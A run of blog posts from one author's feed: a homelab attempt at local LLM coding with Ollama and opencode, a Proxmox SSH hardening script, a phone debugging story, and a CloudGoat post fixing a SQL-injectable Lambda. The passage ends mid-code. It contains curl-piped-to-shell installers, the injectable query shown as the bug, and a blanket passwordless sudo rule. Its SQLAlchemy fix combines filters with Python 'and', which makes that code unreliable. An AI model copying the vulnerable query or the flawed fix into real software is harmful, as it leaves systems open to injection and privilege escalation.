<p>My homelab setup: A trusty VM running on Proxmox with a GTX 1060 6GB. Not exactly cutting-edge, but hey, it had worked for everything else I&apos;d thrown at it. Gaming, video encoding, crypto mining back in the day &#x2013; this little GPU was a trooper.</p>
<p>Surely it could handle some AI models, right?</p>
<p>Right?</p>
<h3 id="gpu-passthrough-the-first-boss-battle">GPU Passthrough: The First Boss Battle</h3>
<p>Getting GPU passthrough working in Proxmox is like solving a Rubik&apos;s cube blindfolded while riding a unicycle. On fire. In a thunderstorm and I love adventures like this!</p>
<p>I spent days wrestling with IOMMU groups, VFIO drivers, and kernel parameters. Every time I thought I had it figured out, something would break. The VM wouldn&apos;t start. The GPU wouldn&apos;t initialize. The drivers would throw tantrums.</p>
<pre><code class="language-bash"># This command became my best friend and worst enemy
lspci -nnv | grep -A 12 VGA
</code></pre>
<p>After what felt like a lifetime of forum diving and config file tweaking, I finally got the GTX 1060 passed through to my Ubuntu VM. Victory! Time to install Ollama and start my AI journey.</p>
<p>Or so I thought.</p>
<h2 id="welcome-to-ai-terminology-hell">Welcome to AI Terminology Hell</h2>
<p>Installing Ollama was actually straightforward:</p>
<pre><code class="language-bash">curl -fsSL https://ollama.ai/install.sh | sh
</code></pre>
<p>But then came the fun part: choosing a model. And that&apos;s when I realized I&apos;d entered a whole new world of acronyms and jargon that made Kubernetes look simple.</p>
<p>GGUF? Quantization? 7B, 13B, 70B parameters? What the hell is a &quot;parameter&quot; anyway? Why are there so many versions of the same model? What&apos;s the difference between <code>llama2:7b</code> and <code>llama2:7b-chat</code>?</p>
<p>I felt like a noob again. And not the good kind of noob where you&apos;re excited to learn &#x2013; the overwhelming kind where you question every life choice that led you to this moment.</p>
<p>Thank god for resources like <a href="https://dentro.de/ai/glossary/?ref=eduard.schwarzkopf.center">this AI glossary</a> that helped me decode the madness. Turns out:</p>
<ul>
<li><strong>Parameters</strong>: Think of them as the &quot;brain cells&quot; of the AI model</li>
<li><strong>7B/13B/70B</strong>: Billion parameters (more = smarter but hungrier)</li>
<li><strong>Quantization</strong>: Compression to make models smaller and faster</li>
<li><strong>GGUF</strong>: A file format for storing models efficiently</li>
</ul>
<p>Armed with this half-baked knowledge, I made my first attempt:</p>
<pre><code class="language-bash">ollama pull llama2:13b
</code></pre>
<p>And waited. And waited. And waited some more.</p>
<h2 id="the-great-model-download-of-2025">The Great Model Download of 2025</h2>
<p>Downloading a 13B model on my internet connection was like watching paint dry in slow motion. We&apos;re talking gigabytes of data, <code>/s</code> and my upload-optimized fiber connection suddenly felt like dial-up.</p>
<p>After an hour of downloading, I got an error. Out of disk space. Of course.</p>
<p>Let me try something smaller:</p>
<pre><code class="language-bash">ollama pull llama2:7b
</code></pre>
<p>Success! Finally, I had a working local LLM. Time to test it out:</p>
<pre><code class="language-bash">ollama run llama2:7b
</code></pre>
<p>The model loaded (eventually), and I asked my first question: &quot;How do I optimize a Python function for better performance?&quot;</p>
<p>And then I waited. And waited. The GTX 1060 was working hard &#x2013; I could hear the fans spinning up &#x2013; but the response was... glacial.</p>
<p>Thirty seconds later, I got a decent answer. But thirty seconds! For a simple question! This wasn&apos;t the snappy AI experience I was used to from the cloud services.</p>
<p>But hey, at least Ollama was working. Time for the real prize: opencode!</p>
<h2 id="opencode-the-real-goal-all-along">opencode: The Real Goal All Along</h2>
<p>Remember that slick TUI interface from NetworkChuck&apos;s video? That was <a href="https://opencode.ai/?ref=eduard.schwarzkopf.center">OpenCode.ai</a> &#x2013; and this was what I&apos;d been working toward this whole time. Not just chatting with models in a basic terminal interface like some kind of AI hermit. Nope!</p>
<p>opencode is like having an AI pair programmer right in your terminal. It can read your files, understand your codebase, suggest improvements, and even write code for you. And the best part? It can connect to local Ollama models for that sweet, sweet privacy I was craving.</p>
<p>The setup is actually brilliant:</p>
<ul>
<li>Ollama serves the models (the backend muscle)</li>
<li>opencode provides the interface (the frontend magic)</li>
<li>You get privacy AND a fantastic coding experience</li>
</ul>
<p>Perfect, right? Right!</p>
<h3 id="installing-opencode">Installing opencode</h3>
<p>After the GPU passthrough nightmare, I was cautiously optimistic about installing opencode. Surely this couldn&apos;t be as painful as VFIO drivers and IOMMU groups, right?</p>
<pre><code class="language-bash">curl -fsSL https://opencode.ai/install | bash
</code></pre>
<p>Of course it&apos;s a Node.js app. Because when isn&apos;t it?</p>
<p>But you know what? The installation actually went smooth as butter. No kernel panics, no driver issues, no existential crises. Just a simple install and we&apos;re good to go.</p>
<p>I was suspicious. This felt too easy.</p>
<h3 id="connecting-to-ollama">Connecting to Ollama</h3>
<p>Here&apos;s where NetworkChuck&apos;s video really shined. He made the opencode configuration crystal clear. Unlike my GPU passthrough adventures, this step actually went smoothly because he explained exactly what needed to be done.</p>
<p>The setup is straightforward: opencode needs a config file to talk to Ollama. NetworkChuck walked through this step perfectly, showing exactly where the config goes and what it should contain.</p>
<p>Following his instructions, I created the config file at <code>~/.config/opencode/opencode.json</code> to tell OpenCode where to find my Ollama models.</p>
<p>Here&apos;s my actual config:</p>
<pre><code class="language-json">{
  &quot;$schema&quot;: &quot;https://opencode.ai/config.json&quot;,
  &quot;provider&quot;: {
    &quot;ollama&quot;: {
      &quot;npm&quot;: &quot;@ai-sdk/openai-compatible&quot;,
      &quot;name&quot;: &quot;Ollama (local)&quot;,
      &quot;options&quot;: {
        &quot;baseURL&quot;: &quot;http://&lt;ollama-server&gt;:11434/v1&quot;
      },
      &quot;models&quot;: {
        &quot;granite4-3b&quot;: {
          &quot;id&quot;: &quot;granite4:3b&quot;,
          &quot;name&quot;: &quot;granite4:3b&quot;
        },
        &quot;mistral-7b&quot;: {
          &quot;id&quot;: &quot;mistral:7b&quot;,
          &quot;name&quot;: &quot;mistral-7b&quot;
        },
        &quot;all-minilm&quot;: {
          &quot;id&quot;: &quot;hf.co/leliuga/all-MiniLM-L6-v2-GGUF:Q4_K_M&quot;,
          &quot;name&quot;: &quot;all-minilm&quot;
        },
        &quot;stable-code&quot;: {
          &quot;id&quot;: &quot;stable-code:3b&quot;,
          &quot;name&quot;: &quot;stable-code-3b&quot;
        }
      }
    }
  }
}
</code></pre>
<p>This config does a few crucial things:</p>
<ul>
<li>Points OpenCode to my local Ollama instance running on port 11434</li>
<li>Maps the model names to their actual Ollama IDs</li>
<li>Tells OpenCode which models I have available locally</li>
</ul>
<p>Once the config was in place, connecting was seamless:</p>
<pre><code class="language-bash"># Start OpenCode
opencode
</code></pre>
<p>And use <code>/model</code> after launch to see my local models. Ready to server my as their master.</p>
<p>And just like that, I had it! A TUI interface that could:</p>
<ul>
<li>Browse my project files</li>
<li>Analyze my code</li>
<li>Suggest improvements</li>
<li>Generate new functions</li>
<li>Debug issues</li>
<li>All while using my local Ollama models</li>
</ul>
<p>The terminal interface was clean, responsive, and actually usable. No more typing questions into a basic chat interface and waiting for responses. This felt like a real development tool.</p>
<p>The setup portion was complete and working flawlessly. But now came the real test: actually using it for development work.</p>
<p>And that&apos;s where things got... interesting.</p>
<h3 id="the-first-real-test">The First Real Test</h3>
<p>Time to put this beautiful setup to the test! I opened up one of my Homelab project and let opencode analyze it. The interface was intuitive &#x2013; I could navigate files, select code blocks, and ask specific questions about my implementation.</p>
<p>&quot;Analyze this my server module and suggest optimizations,&quot; I typed, highlighting a particularly gnarly piece of code I&apos;d written during a late-night coding session.</p>
<p>I hit enter and waited for the magic to happen.</p>
<p>And waited.</p>
<p>And waited some more.</p>
<p>Reality hit. Hard.</p>
<h2 id="the-performance-reality">The Performance Reality</h2>
<p>Here&apos;s what nobody tells you about running LLMs on consumer hardware: it&apos;s slow. Really slow. Especially when you&apos;re limited to 7B models because your GPU only has 6GB of VRAM.</p>
<p>Every question was a test of patience. Complex queries would take minutes. And forget about having a flowing conversation &#x2013; by the time the AI responded, I&apos;d forgotten what I asked.</p>
<p>But the real kicker? No tool support. No code execution. No web browsing. No file analysis. Just basic text generation at the speed of molasses.</p>
<p>I started to understand why everyone was using cloud services.</p>
<h2 id="the-breaking-point">The Breaking Point</h2>
<p>The final straw came during a debugging session. I had a gnarly Python error and wanted to bounce it off the AI. I pasted the traceback, asked for help, and went to make coffee while I waited for the response.</p>
<p>When I came back ten minutes later, the model was still &quot;thinking.&quot; The fans were screaming, the GPU was at 100%, and I was questioning my life choices.</p>
<p>That&apos;s when it hit me: I was spending more time waiting for my &quot;privacy-focused&quot; local AI than I would have spent just googling the answer or asking on Stack Overflow.</p>
<p>The irony was thick. In my quest for privacy and control, I&apos;d created the most inefficient development workflow imaginable.</p>
<h2 id="the-claude-conversion">The Claude Conversion</h2>
<p>Frustrated and slightly defeated, I decided to try Claude Pro. Just for comparison, I told myself. Just to see what I was missing.</p>
<p>I signed up, opened the interface, and asked the same Python question that had broken my homelab setup.</p>
<p>The response came back in seconds. Not minutes. Seconds.</p>
<p>And it wasn&apos;t just fast &#x2013; it was comprehensive, well-formatted, and included code examples. It could analyze my files, execute code snippets, and even browse the web for additional context.</p>
<p><strong>Pro-Tip:</strong> <a href="https://claude.ai/settings/data-privacy-controls?ref=eduard.schwarzkopf.center">Don&apos;t forget to opt-out for the use of your chats and coding sessions in Claude</a>. We still value our privacy here!</p>
<h2 id="the-honest-truth-about-local-vs-cloud-ai">The Honest Truth About Local vs Cloud AI</h2>
<p>Here&apos;s what I learned from my homelab AI adventure:</p>
<h3 id="local-llms-are-great-for">Local LLMs Are Great For:</h3>
<ul>
<li><strong>Privacy-sensitive work</strong>: When you absolutely can&apos;t send data to the cloud.</li>
<li><strong>Learning AI fundamentals</strong>: Understanding how models work under the hood</li>
<li><strong>Offline scenarios</strong>: When internet isn&apos;t available</li>
<li><strong>Experimentation</strong>: Playing with different models and parameters</li>
</ul>
<h3 id="cloud-ai-is-better-for">Cloud AI Is Better For:</h3>
<ul>
<li><strong>Daily development work</strong>: Speed and reliability matter</li>
<li><strong>Complex tasks</strong>: Tool integration and advanced capabilities</li>
<li><strong>Productivity</strong>: When you need answers now, not eventually</li>
<li><strong>Cost efficiency</strong>: Your time is worth more than the subscription fee</li>
</ul>
<h3 id="the-hardware-reality-check">The Hardware Reality Check:</h3>
<ul>
<li><strong>Consumer GPUs struggle</strong>: Even a GTX 1060 is barely adequate for 7B models</li>
<li><strong>Model size matters</strong>: Bigger models need serious hardware</li>
<li><strong>Performance expectations</strong>: Local inference is slow compared to cloud services</li>
<li><strong>Setup complexity</strong>: GPU passthrough and driver issues are real</li>
</ul>
<h2 id="lessons-learned-and-moving-forward">Lessons Learned and Moving Forward</h2>
<p>Am I abandoning local AI entirely? Not quite. I still have Ollama set up for privacy-sensitive tasks and experimentation. But for day-to-day development work, Claude Pro has become my go-to.</p>
<p>The key insight? <strong>Choose the right tool for the job.</strong> Sometimes that&apos;s a local model running on your homelab. Sometimes it&apos;s a cloud service optimized for speed and capability.</p>
<h3 id="my-current-ai-setup">My Current AI Setup:</h3>
<ul>
<li><strong>Claude Pro</strong>: Daily development, code review, complex problem-solving</li>
<li><strong>Local Ollama</strong>: Privacy-sensitive work, AI learning experiments</li>
<li><strong>ChatGPT</strong>: Quick questions and brainstorming</li>
</ul>
<h3 id="if-youre-starting-your-ai-journey">If You&apos;re Starting Your AI Journey:</h3>
<p><strong>Start with cloud services.</strong> Get familiar with AI capabilities and limitations before diving into the hardware rabbit hole. Once you understand what you need, then consider local options.</p>
<p><strong>Understand your hardware.</strong> A GTX 1060 can run 7B models, but don&apos;t expect miracles. For serious local AI work, you need serious hardware.</p>
<p><strong>Privacy isn&apos;t binary.</strong> You can use cloud AI for general questions and local AI for sensitive work. It&apos;s not all or nothing.</p>
<p><strong>Time is money.</strong> Calculate the cost of your time waiting for local inference versus paying for cloud services. The math might surprise you.</p>
<h2 id="the-continuing-journey">The Continuing Journey</h2>
<p>My AI adventure is far from over. I&apos;m now doing a deep dive into AI technology, understanding model architectures, training processes, and the fundamental limitations of current systems.</p>
<p>The homelab experiment taught me more about AI than any tutorial could. Sometimes the best way to understand technology is to struggle with it firsthand.</p>
<p>And hey, at least I can say I&apos;ve run LLMs on a GTX 1060. That&apos;s got to count for something, right?</p>
<p>For any questions about local AI setups or my current workflow, checkout my homelab repository or ask me directly. I&apos;m always happy to share the pain... I mean, knowledge!</p>
<p>Happy Coding!</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Proxmox, use harden!]]></title><description><![CDATA[<p>In the wild world of the Internet, Proxmox is vulnerable like a freshly hatched Caterpie. So let&apos;s evolve it into a Metapod and harden it!</p><p>A default Proxmox VE installation is ready to virtualise, but of course, we want to also increase the security. Because we do not</p>]]></description><link>https://eduard.schwarzkopf.center/harden-proxmox/</link><guid isPermaLink="false">6887360cb3d6ab00012aa68f</guid><category><![CDATA[Proxmox]]></category><category><![CDATA[Security]]></category><category><![CDATA[Homelab]]></category><dc:creator><![CDATA[Eduard Schwarzkopf]]></dc:creator><pubDate>Mon, 28 Jul 2025 08:59:09 GMT</pubDate><content:encoded><![CDATA[<p>In the wild world of the Internet, Proxmox is vulnerable like a freshly hatched Caterpie. So let&apos;s evolve it into a Metapod and harden it!</p><p>A default Proxmox VE installation is ready to virtualise, but of course, we want to also increase the security. Because we do not want anybody to touch our Pokeballs without permission!</p><p>By default, Proxmox allows root SSH logins and password&#x2011;based authentication. For starters, this is fine, but you&#x2019;re making life easy for attackers who can hammer your login endpoint with brute&#x2011;force attempts and break your shell. In this guide, you&#x2019;ll:</p><ol><li><strong>Create a dedicated admin user</strong> (so that root stays locked away)</li><li><strong>Grant that user password&#x2011;less sudo</strong> (for seamless automation)</li><li><strong>Switch to SSH key&#x2011;based authentication</strong> (to eliminate password guessing)</li><li><strong>Disable root and password logins</strong> via a drop&#x2011;in SSH config (so settings survive upgrades)</li></ol><p>By the end, your Proxmox hypervisor will be hardened like a shiny Metapod.</p><p>You can follow each step, or if you trust me, just copy the script at the end, adjust the public key and execute the script to set everything up in seconds.</p><hr><h3 id="1-create-a-dedicated-admin-user">1. Create a Dedicated Admin User</h3><p>Instead of logging in as root, we&#x2019;ll spin up an <code>admin</code> account to own SSH keys and handle elevated actions.</p><pre><code class="language-bash">USERNAME=&quot;admin&quot;

# Create &#x2018;admin&#x2019; if it doesn&#x2019;t exist
if ! id &quot;$USERNAME&quot; &amp;&gt;/dev/null; then
  echo &quot;[+] Creating user: $USERNAME&quot;
  adduser --disabled-password --gecos &quot;&quot; &quot;$USERNAME&quot;
fi
</code></pre><blockquote><strong>Why?</strong> Root is the foremost target in brute&#x2011;force attacks. Hiding it reduces exposure.</blockquote><hr><h3 id="2-install-sudo-and-grant-password%E2%80%91less-sudo">2. Install sudo and Grant Password&#x2011;less Sudo</h3><p>We&#x2019;ll install sudo (if needed) and allow our new user to perform any command without typing a password&#x2014;ideal for scripting.</p><pre><code class="language-bash"># Install sudo if missing
apt update &amp;&amp; apt install -y sudo

# Add user to sudo group
usermod -aG sudo &quot;$USERNAME&quot;

# Enable password&#x2011;less sudo
echo &quot;$USERNAME ALL=(ALL) NOPASSWD:ALL&quot; | tee &quot;/etc/sudoers.d/99_${USERNAME}_nopass&quot;
chmod 440 &quot;/etc/sudoers.d/99_${USERNAME}_nopass&quot;
</code></pre><blockquote><strong>Why?</strong> Automations and cron jobs won&#x2019;t stall waiting for a password.</blockquote><hr><h3 id="3-enforce-ssh-key%E2%80%91based-authentication">3. Enforce SSH Key&#x2011;Based Authentication</h3><p>Replace the placeholder in <code>PUBKEY=</code> with your actual public key, then install it for <code>admin</code>.</p><pre><code class="language-bash">PUBKEY=&quot;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBexampleyourkeygoeshere user@example.com&quot;

mkdir -p /home/$USERNAME/.ssh
echo &quot;$PUBKEY&quot; &gt; /home/$USERNAME/.ssh/authorized_keys
chown -R $USERNAME:$USERNAME /home/$USERNAME/.ssh
chmod 700 /home/$USERNAME/.ssh
chmod 600 /home/$USERNAME/.ssh/authorized_keys
</code></pre><blockquote><strong>Why?</strong> SSH keys can&#x2019;t be guessed&#x2014;and can be revoked or rotated easily.</blockquote><hr><h3 id="4-harden-ssh-via-etcsshsshdconfigd">4. Harden SSH via <code>/etc/ssh/sshd_config.d</code></h3><p>We&#x2019;ll drop in a config file that disables direct root login, turns off passwords completely, and limits access to our admin user.</p><pre><code class="language-bash">SSHD_HARDEN_FILE=&quot;/etc/ssh/sshd_config.d/harden.conf&quot;

cat &lt;&lt;EOF &gt; &quot;$SSHD_HARDEN_FILE&quot;
PermitRootLogin no
PasswordAuthentication no
AllowUsers $USERNAME
EOF
</code></pre><blockquote><strong>Why?</strong> Keeps your custom settings intact across OpenSSH updates and shrinks your attack surface.</blockquote><hr><h3 id="5-apply-and-verify">5. Apply and Verify</h3><p>Reload the SSH service and run through these checks:</p><pre><code class="language-bash">systemctl reload sshd</code></pre><p>Before logging out, make sure to test the new setup!</p><pre><code class="language-bash">ssh admin@&lt;proxmox_ip/hostname&gt;</code></pre><p>This should give you the following output:</p><pre><code class="language-bash">admin@&lt;proxmox_ip/hostname&gt;: Permission denied (publickey). </code></pre><p>Now use your private key to access the machine:</p><pre><code class="language-bash">ssh -i .ssh/prox.key admin@&lt;proxmox_ip/hostname&gt;</code></pre><p>Now, try to become <code>root</code> without a password.</p><pre><code class="language-bash">sudo su</code></pre><hr><h2 id="%F0%9F%93%9D-complete-harden-proxmoxsh-script">&#x1F4DD; Complete <code>harden-proxmox.sh</code> Script</h2><p>Save, edit the <code>PUBKEY</code> line, make executable, then run:</p><pre><code class="language-bash">chmod +x harden-proxmox.sh
sudo ./harden-proxmox.sh
</code></pre><pre><code class="language-bash">#!/bin/bash
set -e

USERNAME=&quot;admin&quot;
SSHD_HARDEN_FILE=&quot;/etc/ssh/sshd_config.d/harden.conf&quot;

# 1. Create user if missing
if ! id &quot;$USERNAME&quot; &amp;&gt;/dev/null; then
  echo &quot;[+] Creating user: $USERNAME&quot;
  adduser --disabled-password --gecos &quot;&quot; &quot;$USERNAME&quot;
fi

# 2. Install sudo &amp; grant passwordless sudo
apt update &amp;&amp; apt install -y sudo
usermod -aG sudo &quot;$USERNAME&quot;
echo &quot;$USERNAME ALL=(ALL) NOPASSWD:ALL&quot; | tee &quot;/etc/sudoers.d/99_${USERNAME}_nopass&quot;
chmod 440 &quot;/etc/sudoers.d/99_${USERNAME}_nopass&quot;

# 3. Configure key-based SSH
PUBKEY=&quot;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBexampleyourkeygoeshere user@example.com&quot;
mkdir -p /home/$USERNAME/.ssh
echo &quot;$PUBKEY&quot; &gt; /home/$USERNAME/.ssh/authorized_keys
chown -R $USERNAME:$USERNAME /home/$USERNAME/.ssh
chmod 700 /home/$USERNAME/.ssh
chmod 600 /home/$USERNAME/.ssh/authorized_keys

# 4. Harden SSH via sshd_config.d
echo &quot;[+] Writing SSH hardening config to $SSHD_HARDEN_FILE&quot;
cat &lt;&lt;EOF &gt; &quot;$SSHD_HARDEN_FILE&quot;
PermitRootLogin no
PasswordAuthentication no
AllowUsers $USERNAME
EOF

# 5. Reload and done
echo &quot;[+] Reloading sshd...&quot;
systemctl reload sshd
echo &quot;[&#x2714;] Proxmox hardening complete.&quot;
</code></pre><hr><p>Now your Proxmox host sits in its Metapod shell &#x1F389;</p><p>Happy Coding!</p>]]></content:encoded></item><item><title><![CDATA[Visit from a sad and hot R2D2]]></title><description><![CDATA[<p>Debugging is a crucial skill in the world of software engineering. It is far more common to read code than to write it. Knowing how to approach a problem systematically is what makes a good developer, an even better one. The best part? You can transfer this skill to any</p>]]></description><link>https://eduard.schwarzkopf.center/visit-from-a-sad-and-hot-r2d2/</link><guid isPermaLink="false">665d5cc8031e2c00015f3510</guid><dc:creator><![CDATA[Eduard Schwarzkopf]]></dc:creator><pubDate>Tue, 04 Jun 2024 04:54:36 GMT</pubDate><content:encoded><![CDATA[<p>Debugging is a crucial skill in the world of software engineering. It is far more common to read code than to write it. Knowing how to approach a problem systematically is what makes a good developer, an even better one. The best part? You can transfer this skill to any problem you try to solve. </p><p>Let me tell you a story, where I facepalmed so hard, that I still had the mark the next day. Denkanstoss (thought-provoking impulse). This is how my wife called it. Pretty accurate, if you ask me.</p><h2 id="the-initial-symptoms">The Initial Symptoms</h2><p>So what exactly happened? A sad R2D2. Every time I unlocked my phone it played this strange &quot;failure&quot; sound. I&apos;ve never heard it before. </p><p>Another feature that I unlocked: Pocketwarmer. My phone became constantly hot. Even worse, the battery life plummeted from 100% to 35% in just two hours. Something was definitely wrong.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://eduard.schwarzkopf.center/content/images/2024/06/2616901-3488523584-1-.jpg" class="kg-image" alt loading="lazy" width="1393" height="783" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/06/2616901-3488523584-1-.jpg 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/06/2616901-3488523584-1-.jpg 1000w, https://eduard.schwarzkopf.center/content/images/2024/06/2616901-3488523584-1-.jpg 1393w" sizes="(min-width: 720px) 720px"><figcaption>This is fine</figcaption></figure><h2 id="the-obvious-first">The Obvious first</h2><p>The first question you should always ask is: What changed? The system was running just fine before, so what are the recent changes made to the system that might have caused this behaviour?</p><p>Well, the most obvious change was the installation of some new apps. New apps are often the culprits, right? Sure! So like with code, let&apos;s remove these changes and see if that fixes the issue here. </p><p>Some deinstallations later...</p><p>I&apos;ve won more space, but my phone was still a sad and hot R2D2.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/06/image-1.png" class="kg-image" alt loading="lazy" width="474" height="200"></figure><h2 id="the-energy-consumption-investigation">The Energy Consumption Investigation</h2><p>Alright, since that didn&apos;t work, it is time for a deeper dive. Maybe an update on an app is causing this issue. Time to look into the energy consumption of the remaining apps. Look at that! Nothing...<br>Everything seemed normal, nothing that spiked persisted. Clearly, I needed to look deeper.</p><h2 id="ol-reliable">Ol&apos; Reliable</h2><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/06/image-2.png" class="kg-image" alt loading="lazy" width="500" height="752"></figure><p>A simple restart can solve many tech issues. Especially hardware-related. So, let&apos;s go! Phone restarting, booting, some apps are launching and then the sad noise. But this time it popped up a notification: &quot;This chip couldn&apos;t be read&quot;. Huh?! Chip, what chip?</p><h2 id="the-eureka-moment">The Eureka Moment</h2><p>After a little bit of thinking it struck me: my identity card! It is my ID card! The day before I went out and just wanted to take my ID card which is usually in my wallet, so I tucked it inside my phone case. This was causing the chaos. Positioned directly behind the phone, it triggered the NFC reader constantly. Thus creating this hot sad R2D2.</p><h2 id="the-resolution">The Resolution</h2><p>Once known I&apos;ve got a simple solution for this problem. I just put my ID card in an RFID-blocking case. I could also remove it, but where is the fun in that?!</p><h2 id="the-lesson-learned">The Lesson Learned</h2><p>This experience showed me the value of applying structured debugging skills to everyday problems. Solutions often hide in the details, waiting to be discovered with a bit of patience and persistence. The journey was frustrating, but the triumph was sweet and satisfying.</p><p>Goodbye, you sad and hot R2D2, I hope to never see you again. </p><p>*sad beep*</p>]]></content:encoded></item><item><title><![CDATA[CloudGoat - Fixing vulnerable_lambda scenario]]></title><description><![CDATA[<p>This is a follow-up to my recent blog post <a href="https://eduard.schwarzkopf.center/cloudgoat-vulnerable_lambda-pacu/">CloudGoat &#x2013; vulnerable_lambda with Pacu</a>.</p><p>In my recent exploration of cloud vulnerabilities with the help of <a href="https://github.com/RhinoSecurityLabs/pacu?ref=eduard.schwarzkopf.center">Pacu</a> and <a href="https://github.com/RhinoSecurityLabs/cloudgoat?ref=eduard.schwarzkopf.center">CloudGoat</a> by Rhino Security Labs, we were able to demonstrate how a combination of overlooked permissions and an SQL injection vulnerability in</p>]]></description><link>https://eduard.schwarzkopf.center/cloudgoat-fixing-vulnerable_lambda-scenario/</link><guid isPermaLink="false">6659e5f7031e2c00015f3477</guid><dc:creator><![CDATA[Eduard Schwarzkopf]]></dc:creator><pubDate>Fri, 31 May 2024 15:06:55 GMT</pubDate><content:encoded><![CDATA[<p>This is a follow-up to my recent blog post <a href="https://eduard.schwarzkopf.center/cloudgoat-vulnerable_lambda-pacu/">CloudGoat &#x2013; vulnerable_lambda with Pacu</a>.</p><p>In my recent exploration of cloud vulnerabilities with the help of <a href="https://github.com/RhinoSecurityLabs/pacu?ref=eduard.schwarzkopf.center">Pacu</a> and <a href="https://github.com/RhinoSecurityLabs/cloudgoat?ref=eduard.schwarzkopf.center">CloudGoat</a> by Rhino Security Labs, we were able to demonstrate how a combination of overlooked permissions and an SQL injection vulnerability in a Lambda function could lead to unauthorized privilege escalation.</p><p>Today&apos;s discussion shifts from exploits to solutions focusing on how to fix these weak points effectively. Can we fix it?</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-1.png" class="kg-image" alt loading="lazy" width="750" height="500" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-1.png 600w, https://eduard.schwarzkopf.center/content/images/2024/05/image-1.png 750w" sizes="(min-width: 720px) 720px"></figure><p>Yes, we can! &#xA0;We will look into specific remedial actions that could seal the previously exploited gaps, ensuring our cloud fortifications are as steadfast as they can be.</p><p>So, put on your overalls, and off we go!</p><h2 id="fixing-the-sql-injection-vulnerability">Fixing the SQL Injection Vulnerability</h2><p>We are going to start with the root cause, SQL injection vulnerability. The fix is pretty easy actually, the solution is called <strong>prepared SQL statements</strong>.</p><p>Here&apos;s what the original code looked like:</p><pre><code class="language-python">statement = f&quot;select policy_name from policies where policy_name=&apos;{policy}&apos; and public=&apos;True&apos;&quot;
for row in db.query(statement):</code></pre><p>As you can see it is dirty! Why? Because it is not sanitized. The variable <code>policy</code> was directly interpolated into the SQL query string. Don&apos;t do that! Never! And if you see someone doing it, you&apos;ve got my permission to slap them.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-2.png" class="kg-image" alt loading="lazy" width="500" height="300"></figure><p>An attacker could manipulate the value of <code>policy</code> to alter the structure of the SQL query and execute malicious commands. <a href="https://eduard.schwarzkopf.center/cloudgoat-vulnerable_lambda-pacu/">Check out the last post for detailed steps</a>.</p><p>Luckily the fix is super easy:</p><pre><code class="language-python">prepared_statement = &quot;select policy_name from policies where policy_name=? and public=&apos;True&apos;&quot;
for row in db.query(prepared_statement, [policy]):</code></pre><p>This is now a prepared SQL statement. It ensures that the <code>policy</code> variable is never directly incorporated into the SQL query, thereby eliminating the possibility of SQL injection. Easy right?</p><p>The full code after making the changes would look like this:</p><pre><code class="language-python"># main.py
import boto3
from sqlite_utils import Database

db = Database(&quot;my_database.db&quot;)
iam_client = boto3.client(&apos;iam&apos;)

def handler(event, context):
    target_policys = event[&apos;policy_names&apos;]
    user_name = event[&apos;user_name&apos;]
    print(f&quot;target policys are : {target_policys}&quot;)

    for policy in target_policys:
        statement_returns_valid_policy = False
        prepared_statement = &quot;select policy_name from policies where policy_name=? and public=&apos;True&apos;&quot;
        for row in db.query(prepared_statement, [policy]):
            statement_returns_valid_policy = True
            print(f&quot;applying {row[&apos;policy_name&apos;]} to {user_name}&quot;)
            response = iam_client.attach_user_policy(
                UserName=user_name,
                PolicyArn=f&quot;arn:aws:iam::aws:policy/{row[&apos;policy_name&apos;]}&quot;
            )
            print(&quot;result: &quot; + str(response[&apos;ResponseMetadata&apos;][&apos;HTTPStatusCode&apos;]))

        if not statement_returns_valid_policy:
            invalid_policy_statement = f&quot;{policy} is not an approved policy, please only choose from approved &quot; \
                                       f&quot;policies and don&apos;t cheat. :) &quot;
            print(invalid_policy_statement)
            return invalid_policy_statement

    return &quot;All managed policies were applied as expected.&quot;</code></pre><p>Do you want to see more?</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/05/image-5.png" class="kg-image" alt loading="lazy" width="724" height="578" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/05/image-5.png 600w, https://eduard.schwarzkopf.center/content/images/2024/05/image-5.png 724w" sizes="(min-width: 720px) 720px"></figure><p>Ok, another solution is to use Object-Relational Mapping (ORM), e.g. <a href="https://www.sqlalchemy.org/?ref=eduard.schwarzkopf.center" rel="nofollow">SQLAlchemy</a>. They provide a higher level of abstraction over SQL databases, which means you can interact with the database in object-oriented syntax rather than raw SQL queries.</p><p>Here&apos;s how the code would look like if we were to rewrite it using SQLAlchemy:</p><pre><code class="language-python"># main.py
import boto3
import sqlalchemy as db

from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import Session


Base = declarative_base()


class Policy(Base):
    __tablename__ = &quot;policies&quot;

    policy_name = db.Column(db.String, primary_key=True)
    public = db.Column(db.Boolean)

    def __repr__(self):
        return &quot;&lt;Policy(policy_name=&apos;%s&apos;, public=&apos;%s&apos;)&gt;&quot; % (
            self.policy_name,
            self.public,
        )


engine = db.create_engine(&quot;sqlite:///my_database.db&quot;)
session = Session(engine)

iam_client = boto3.client(&quot;iam&quot;)


def handler(event, context):
    target_policys = event[&quot;policy_names&quot;]
    user_name = event[&quot;user_name&quot;]
    print(f&quot;target policys are : {target_policys}&quot;)

    for policy in target_policys:
        statement_returns_valid_policy = False
        rows = db.select(Policy).where(
            Policy.policy_name == policy and Policy.public == True
        )

        for row in session.scalars(rows):
            statement_returns_valid_policy = True
            print(f&quot;applying {row.policy_name} to {user_name}&quot;)
            response = iam_client.attach_user_policy(
                UserName=user_name,
                PolicyArn=f&quot;arn:aws:iam::aws:policy/{row.policy_name}&quot;,
            )
            print(&quot;result: &quot; + str(response[&quot;ResponseMetadata&quot;][&quot;HTTPStatusCode&quot;]))

        if not statement_returns_valid_policy:
            invalid_policy_statement = (
                f&quot;{policy} is not an approved policy, please only choose from approved &quot;
                f&quot;policies and don&apos;t cheat. :) &quot;
            )
            print(invalid_policy_statement)
